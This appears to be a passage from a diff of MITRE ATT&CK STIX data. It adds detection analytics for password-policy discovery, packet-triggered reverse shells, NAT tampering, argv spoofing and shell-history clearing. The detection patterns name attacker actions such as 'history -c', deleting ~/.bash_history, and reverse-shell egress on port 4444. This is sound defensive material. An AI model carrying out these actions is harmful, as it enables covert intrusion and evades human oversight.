15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0456", + "external_id": "AN0456" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0456", + "description": "Chain: (1) interactive/non-interactive `chage -l`, `grep`/`cat` of PAM config (e.g., `/etc/pam.d/common-password`, `/etc/security/pwquality.conf`); (2) optional reads of `/etc/login.defs`; (3) same user performs account enumeration or password change attempts shortly after. Use auditd `execve` and file read events plus shell history collection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "auditd:SYSCALL", + "channel": "open,openat,read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "sudo chage|grep pam_pwquality|cat /etc/login.defs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Exact PAM/QoP config files used by your distro (Debian vs. RHEL paths differ)." + }, + { + "field": "ServiceAccountsExclude", + "description": "System daemons that legitimately parse policies on boot." + }, + { + "field": "TerminalType", + "description": "TTY vs. non-interactive\u2014raise risk for non-interactive remote execution." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f71c7bd-dd25-43c7-ac5c-7a85c7588759", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0457", + "external_id": "AN0457" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0457", + "description": "Chain: (1) execution of `pwpolicy` or MDM/DirectoryService reads of account policies; (2) optional read of `/Library/Preferences/com.apple.loginwindow` or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "pwpolicy|PasswordPolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec /usr/bin/pwpolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "macos:MDM", + "channel": "profiles -P|getaccountpolicies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MDMProfileIDs", + "description": "Approved profiles reading/updating auth policies." + }, + { + "field": "AdminConsoleHosts", + "description": "Jamf or management hosts where queries are expected." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--12f9a28b-126d-48b1-bc93-5bc3c1635905", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0458", + "external_id": "AN0458" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0458", + "description": "Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS `GetAccountPasswordPolicy`, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "GetAccountPasswordPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CloudReadOnlyApps", + "description": "Approved security tooling principals that routinely read policy." + }, + { + "field": "ApiClientIPAllowList", + "description": "Corporate egress IPs for administrative API access." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0b0d50a0-d07b-4cf1-9cb0-23c95e8321b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0459", + "external_id": "AN0459" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0459", + "description": "Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "azure:audit", + "channel": "operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedPartnerAppIds", + "description": "Legitimate partner apps that enumerate policies." + }, + { + "field": "GeoRiskTolerance", + "description": "Raise risk for unusual geo or TOR/VPN egress." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d71a1e3e-6507-438b-9ee2-f80dc1f938d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0460", + "external_id": "AN0460" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0460", + "description": "Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log \u2018Cmdlet\u2019 with `Get-MsolPasswordPolicy`/`Get-OrganizationConfig` parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "m365:unified", + "channel": "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SaaSAdminGroup", + "description": "Known admin groups or break-glass accounts." + }, + { + "field": "SessionAnomalyThreshold", + "description": "Rate/volume of read operations per session considered anomalous." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d93312e3-210a-4757-b638-4ed19fca8621", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0461", + "external_id": "AN0461" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0461", + "description": "Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., `show aaa`, `show password-policy`); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedNOCSources", + "description": "Jump hosts permitted to run show commands." + }, + { + "field": "DeviceTier", + "description": "Higher risk weight on edge/critical devices." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98d733c2-370b-4cd0-8ec6-226a1ca19604", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0162#AN0462", + "external_id": "AN0462" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0462", + "description": "Adversary installs/uses packet-capture or raw-socket capability (WinPcap/Npcap, wpcap/packet DLLs or raw socket attach) and sets a filter. A crafted inbound packet is observed; within a short window the host process that loaded capture libraries initiates an outbound connection (e.g., reverse shell) to the packet origin.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Seconds to correlate inbound trigger \u2192 process library load/driver start \u2192 outbound connect (default 120s)." + }, + { + "field": "CaptureLibIndicators", + "description": "DLL/driver names to match (wpcap.dll, packet.dll, npcap.sys, npf.sys) \u2013 extend for EDR drivers in your fleet." + }, + { + "field": "AllowedInstallers", + "description": "Signed/expected processes allowed to install/start Npcap (software distribution tools)." + }, + { + "field": "ReversePorts", + "description": "Likely egress ports to watch after trigger (4444, 53, 80/443, 8080, high ephemeral)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c19f8f89-76f9-4345-8bb6-a065fba50bff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0162#AN0463", + "external_id": "AN0463" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0463", + "description": "Process creates a raw/packet socket and attaches a (e)BPF filter (setsockopt SO_ATTACH_FILTER/ATTACH_BPF or bpf(BPF_PROG_LOAD)). Immediately after a matching inbound packet, the same process binds/connects outward to a remote host (reverse shell or beacon).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:osquery", + "channel": "family=AF_PACKET or protocol raw; process name not in allowlist." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Flag raw-socket activity outside privileged daemons (root-only by default)." + }, + { + "field": "MinPayloadEntropy", + "description": "If using packet content (Zeek), treat high-entropy single-packet triggers as suspicious." + }, + { + "field": "AFPacketAllowList", + "description": "System services allowed to open AF_PACKET (dhclient, keepalived, LLDP, monitoring agents)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6d04b50-7bdc-480e-9bda-291db9b270f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0162#AN0464", + "external_id": "AN0464" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0464", + "description": "Process opens /dev/bpf* (libpcap) or loads NetworkExtension filter, then after a crafted inbound packet the same process initiates an outbound connection to the trigger origin.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "OpenBSM:AuditTrail", + "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "First outbound connection from the same PID/user shortly after an inbound trigger." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BPFDevicePath", + "description": "Alternate BPF device paths if customized (default /dev/bpf*)." + }, + { + "field": "DeveloperMode", + "description": "Relax thresholds on known developer tooling hosts (Xcode, instrumenting tools)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72033f2d-a943-40be-862c-051317ec541c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0163#AN0465", + "external_id": "AN0465" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0465", + "description": "Defenders may observe unauthorized or anomalous changes to NAT configurations, including the addition of new translation rules or modifications to existing ones. Suspicious behaviors include sudden introduction of NAT mappings bridging segmented networks, new port address translation rules that obscure true source IPs, or traffic flows inconsistent with expected network design. Multi-event correlation includes detecting configuration changes on routers/firewalls, followed by traffic traversing unexpected internal/external address pairs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:config", + "channel": "NAT table modification (add/update/delete rule)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Source/destination IP translation inconsistent with intended policy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time correlation window between NAT rule change and unexpected traffic; adjustable to align with change management practices." + }, + { + "field": "AuthorizedNATRules", + "description": "Whitelist of approved NAT policies and rules; prevents false positives from legitimate operations." + }, + { + "field": "TrafficVolumeThreshold", + "description": "Threshold for abnormal traffic across NAT; tuned to differentiate testing from large-scale exfiltration or bridging." + }, + { + "field": "InterfaceScope", + "description": "Specific interfaces or zones monitored for NAT translation; allows tuning for internal vs. external-facing boundaries." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--10d8886b-6cf6-45af-b187-04541e2ffaa4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0164#AN0466", + "external_id": "AN0466" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0466", + "description": "Detects adversary behavior where the command-line arguments of a running process are overwritten in memory to spoof the process name, typically replacing it with a benign or misleading string. The detection correlates unexpected null byte sequences, discrepancies between `/proc//cmdline` and process ancestry, and suspicious memory writes shortly after process start.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "auditd:SYSCALL", + "channel": "execve, prctl, or ptrace activity affecting process memory or command-line arguments" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "ebpf:tracepoints", + "channel": "Runtime memory overwrite of argv[] memory region" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time threshold after process creation during which argv memory manipulation is expected to be rare; anomalies occurring outside this window may be more suspicious." + }, + { + "field": "AllowedArgvMismatchPatterns", + "description": "List of known legitimate processes where argv[0] mismatch is expected due to application logic or packaging quirks." + }, + { + "field": "ParentExecutableTrustList", + "description": "Trusted parent binaries allowed to spawn processes with altered command-line names." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0ebcdeba-7b02-4f1c-96c9-a602b3663446", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165#AN0467", + "external_id": "AN0467" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0467", + "description": "Detects adversary behavior clearing command history via `history -c`, deletion or modification of ~/.bash_history, or manipulation of the HISTFILE environment variable post-login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "PATH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Detect shell history clearing shortly after login or command execution." + }, + { + "field": "UserContext", + "description": "Elevated shell sessions (e.g., root or sudo) without command history may be more suspicious." + }, + { + "field": "HistoryFilePath", + "description": "Bash/Zsh history file paths (e.g., ~/.bash_history, ~/.zsh_history)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9199891a-1543-4f51-be59-4fffb03dfd43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165#AN0468", + "external_id": "AN0468" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0468", + "description": "Detects adversary clearing shell history using `history -c` or deleting/altering ~/.zsh_history or ~/.bash_history. Focus on sessions with missing or wiped history.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "unlink, write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration after terminal usage where deletion or modification is considered suspicious." + }, + { + "field": "UserContext", + "description": "Flag unexpected user activity, especially from users who normally don\u2019t use terminal." + }, + { + "field": "HistoryFilePath", + "description": "Zsh or Bash history files under the user's home directory." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01b79770-a269-4b4d-bf09-a4760bae9c94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165#AN0469", + "external_id": "AN0469" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0469", + "description": "Detects PowerShell `Clear-History` invocation or deletion of `ConsoleHost_history.txt` to erase past PowerShell session history.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HistoryFilePath", + "description": "Path to PSReadLine file, typically in APPDATA." + }, + { + "field": "UserContext", + "description": "User account or role performing deletion (e.g., low-priv user deleting history)." + }, + { + "field": "CommandPattern", + "description": "Support detection of `Clear-History` and variations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d17e0719-d338-47eb-a5b4-8616749584cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165#AN0470", + "external_id": "AN0470" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0470", + "description": "Detects modification or truncation of `/var/log/shell.log` used to persist ESXi shell command history. Especially suspicious shortly after login or config changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "esxi:shell", + "channel": "/var/log/shell.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogFilePath", + "description": "Path to shell command history on ESXi." + }, + { + "field": "TimeWindow", + "description": "Time range post-login or privileged escalation." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7879313f-abf1-487a-b4d3-813f385ddce3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165#AN0471", + "external_id": "AN0471" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0471", + "description": "Detects use of `clear history` or `clear logging` commands on network device CLI to remove past activity logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "CLI command audit" + } + ], + 